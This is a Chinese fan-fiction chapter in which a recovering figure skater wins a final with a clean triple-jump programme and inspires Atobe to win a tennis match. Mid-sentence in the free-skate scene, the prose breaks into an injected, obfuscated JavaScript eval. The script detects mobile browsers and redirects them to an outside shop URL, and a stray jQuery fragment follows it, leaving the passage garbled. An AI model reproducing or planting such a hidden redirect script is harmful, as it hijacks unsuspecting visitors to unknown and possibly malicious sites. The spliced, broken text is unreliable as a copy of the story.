对于顶尖花滑选手而言,“冰感”是比体力更精妙的财富。离冰一个月之后的第一次上冰,刃感几乎没有了。凛感觉脚腕像锁死一样,连最基本的滑行和转体都需要重新适应,身体对速度、重心和刀刃角度的记忆似乎被蒙上了一层薄纱。更令人焦虑的是,距离总决赛仅剩三周,她能用于找回状态、冲击难度的时间,被压缩到了极致。 第一天的上冰训练,在一种残酷的身体背叛中结束。 晚上,迹部给她发消息:“恢复上冰第一天,感觉如何?” 她回:“简直是灾难。” 找回平衡和刃感,找回身体与冰面链接的感觉,重新寻找发力的感觉,重建旋转和跳跃的肌肉记忆……每一步都需要重新适应。 从简单跳跃和旋转的陆地模仿开始,然后上冰做分解动作,每一次成功都像一场胜利,但失败和恐惧如影随形。她需要对抗的不再是竞争对手,而是自己变得陌生的身体。她的情绪常常在“我今天好像进步了一点”和“我怎么又做不到了”之间反复横跳,这是对意志力最极致的考验。 十天过去,凛的技术逐渐恢复和稳定,她才被允许小心翼翼地尝试三周跳。此时,距离总决赛只剩下最后十天。 “四周跳,暂时别想了。”佐久间教练看着训练日志,冷静地陈述了这个残酷的事实,“以你现在的恢复进度和剩余时间,强行冲击四周跳,受伤的风险远大于成功的可能。” 他看向凛,“总决赛,放弃四周,打磨一套你能完美驾驭的三周套。用执行质量和节目内容分去拼。” 凛看着计划表,沉默了片刻。理智告诉她教练是对的,但作为曾经掌握四周跳的选手,要主动在如此重要的大赛中降难度,内心难免挣扎。然而,脚踝处练习久了偶尔会隐约传来的疲惫感,以及脑海中忍足描述过的那些可怕案例,让她深吸一口气,用力点了点头。“我明白。” 她将全部的精力和剩余不多的时间,都投入到了对现有节目的精雕细琢中。每一个衔接步法的用刃深度,每一个旋转姿势的精准定格,甚至手臂动作与音乐情绪的微妙契合,她都反复打磨。既然无法在难度上碾压,就要在每一个细节上做到无可挑剔。 离总决赛还剩不到一周的时候,一条爆炸性的新闻席卷了花滑圈。凛是在物理治疗师帮她进行踝关节被动活动时,看到这条新闻的。 手机屏幕上的推送标题简洁冷酷:「国际滑联正式公告:俄罗斯及白俄罗斯运动员被禁止参加本赛季所有国际赛事,即刻生效。」 她的手指顿在屏幕上,几秒后,才划开详细报道。官方措辞严谨,理由是与体育无关的国际形势。文章末尾附上了受影响的选手名单,以及因禁赛而产生的总决赛席位变动。 两个俄罗斯名字赫然在列。 尼娜·伊万诺娃——法国站金牌、俄罗斯站银牌获得者。她技术彪悍,和凛一样,有稳定的4T、4S的四周跳储备,艺术表现力以极具侵略性的戏剧张力著称,是凛这个赛季最大的对手。在莫斯科时,两人不同组,跟的是不同教练,但在俄罗斯国内的一些比赛,包括娱乐性的跳跃大赛里,也交过手。本赛季青年组大奖赛,法国站是尼娜获胜,俄罗斯站则是凛虎口夺食。 达莉娅·彼得罗娃——俄罗斯站铜牌、美国站银牌获得者。达莉娅虽然没有四周,但3A在本赛季已经逐步稳定,也是总决赛里强有力的竞争对手。 而现在,她们的名字后面,都跟着一个冰冷的括号:(禁赛,席位由替补选手获得)。 替补名单更新: 日本,铃木樱。凛很熟悉,国内的老对手,风格灵动稳定,但国际大赛经验稍欠,技术难度上限目前看不如那两位俄罗斯选手。 美国,Rebecca chan。凛的瞳孔微微缩了一下。这位16岁的华裔美籍选手,以惊人的天赋和极不稳定的状态闻名。简单说,技术好、心态差。她拥有目前青年女单选手中最稀缺的四周跳之一的4F。美国站上,她成功落冰了两个四周,横扫夺冠。但在法国站,她短节目就崩盘,自由滑更是摔得面目全非。而也是那次惨败,让她积分不足,无缘总决赛。现在,一个空出的席位,将她送了回来。 凛看着新闻报道,心绪复杂。 松了一口气吗?有的。 尼娜那座无形的大山,暂时从赛程表上移开了。最熟悉、也最棘手的敌人缺席,通往金牌的道路上,最显而易见的障碍消失了。对于本就不在最佳状态的凛而言,压力确实小了一些。 但紧接着,是一种空旷感,甚至一丝荒谬。 最强的对手以一种与赛场表现完全无关的方式退场了。她准备了那么久,在脑海里模拟了无数次对决的场景,那股要将法国站的遗憾在总决赛舞台上找回来的心气,突然失去了最具体的靶子。 而新的威胁,已经补位。 Rebecca Chan。一个拥有核武器但发射按钮时灵时不灵的对手。她可能像在美国站那样统治赛场,也可能像在法国站那样彻底崩盘。凛无法预测她会拿出什么状态,而这种不确定性本身,就是一种压力。 凛退出新闻页面,锁上屏幕,将手机放到一边。 治疗师开始用冰袋进行冷敷,冰冷的触感让她脚踝的皮肤微微发麻。 她闭上眼睛。 脑海里不再是尼娜充满张力的旋转,而是Rebecca在美国站自由滑中,那个高高跃起、转速惊人、然后稳稳落冰的4F。 压力没有消失,它只是换了一副面孔。 青年组大奖赛总决赛如期而至。举办地在意大利都灵。 短节目,凛先出场,仍然是《站在球上的少女》,发挥整体不错。可能是恢复时间不足,开场的跳跃上她有些紧,3F落地角度稍有偏差,影响了GOE加分,短节目最终得分71.02。 而替补入围的Rebecca发挥则异常完美。她的短节目选曲自维瓦尔第小提琴协奏曲《四季·冬》,整套节目中的所有技术动作,她都高规格完成。分数打出,72.86,排名第一,领先凛近2分的优势。压力全来到了自由滑。 自由滑的赛场上,气氛凝重。所有人都在议论,凛是否会为了证明自己而冒险上四周跳。 她听到了。 但她此刻的内心,却是一片异样的清明。她脑子里只有那套自制动期开始,就反复打磨并意念演练过多次的节目。 分数是裁判打的,但这场表演,是她献给自己的战役。她不是为了向观众证明我能跳四周而站在这里。而是为了向自己证明,哪怕没有四周,她依然能用她的全部理解、全部热情和全部技术储备,完美的表达音乐;她的节目,依然可以是这个冰场上最不可战胜的艺术作品。 她深吸一口气,滑向冰场中央。刀刃接触冰面的瞬间,世界安静了。只剩下音乐,和她胸腔里那颗稳定、有力、为战斗而重新沸腾的心脏。她不再去想分数,不去想对手,只专注于脚下的每一步、每一次转身、每一个跳跃的精准到位。 一套节目滑完,没有任何失误,酣畅淋漓,完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016650|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美clean。满场的四级定级和几乎加满的GOE,让她的自由滑得分来到140.45分。甚至比此前用了四周跳却失误的法国站还要高出2分。 Rebecca最后出场。她的自由滑配置了两个四周跳。也许是既定策略,也许是迫于凛的成绩带来的压力。然而,巨大的心理压力和对胜利的渴望似乎带来了反效果,她的心态似乎再次出现了微妙的失衡。第一个4F双足落冰且周数不足,第二个4S四周跳直接摔倒。而节目后半段的3Lz再次摔倒,甚至没能按计划接上2T连跳。 最终分数打出,Rebecca的自由滑仅拿到130.58分,落后凛将近10分。 而凛,凭借一套零失误、艺术表现力达到顶峰的三周套自由滑,凭借更高的节目内容分和几乎拿满的GOE加分,在自由滑比赛中绝地反击,赢得了总决赛的冠军! 屏幕前,关注着她比赛情况的迹部,看到了她赛后采访的片段。记者问她为何如此选择,镜头捕捉到她沉静目光下那簇未曾熄灭的火焰:“我知道我的武器是什么,但在它最锋利之前,我需要先赢下眼前的战斗。” 关掉视频,迹部景吾望向窗外集训基地的夜色。她不在最佳状态,无法使用最锋利的武器,但她将手中已有的牌,打到了极致,用绝对的完美,击败了盲目的难度。 一个清晰无比、带着灼热拷问的声音,在他心中轰然作响: ——她有这样的觉悟。那么你呢,迹部景吾? ——你的武器或许并非最利,你的处境或许并非理想,但你的求胜心,难道就比她少吗? 几天后,世界杯赛场。 迹部的对手是西班牙队的罗密欧·费尔南德斯,一个以充沛体力著称的选手,而且对迹部进行了极深的研究。 他握紧球拍,走向那片被聚光灯照得灼热的赛场。面对那个与自己实力在伯仲之间、同样渴望胜利的对手时,远方冰面上那个用完美三周套赢得胜利的身影,仿佛与他手中的球拍产生了共振。 一球。 又一球。 汗水浸透了队服,肌肉叫嚣着酸痛,但他眼中的光芒从未熄灭。 记分牌定格。 6-3。 7-5。 7-5。 他赢了。 不是靠侥幸,不是靠对手失误。而是靠着将每一分技术执行到极致,将每一丝意志燃烧到顶点,用更坚定的决心,生生压下了胜利的砝码。 他走到场边,第一时间拿起手机。指尖划过,只发了两个字: “赢了。” 这一次,是他在向她宣告。跨越千里,分享这份由她的觉悟所点燃、由他的意志所实现的胜利。 几秒后,回复来了。 不是文字,是一张照片。 迹部点开。 一张比赛直播的照片。电脑屏幕里,正是他赛末点得分后,那个惯有的、锋芒毕露的庆祝姿态,背景是沸腾的赛场。 这张直播照片被她用手机拍下,阳光照在屏幕上,有些反光。而她的手机屏幕旁,入镜了那只帕丁顿熊的一只毛茸茸的胳膊——她第一次参加滑冰比赛时他送的那只,以及她总决赛的奖牌。 他凝视着那张照片——他多年前种下的鼓励,她如今淬炼成的锋芒,与他此刻点燃的胜利,被一道阳光焊在了一起。 他没有回复。 只是将拇指轻轻按在屏幕上,长按,保存,然后锁屏。金属机身贴着掌心,传递着无声的温度。 有些东西无需回复。它已然抵达,并在他世界的中心,激荡出只有他自己能听见的、悠长而圆满的回响。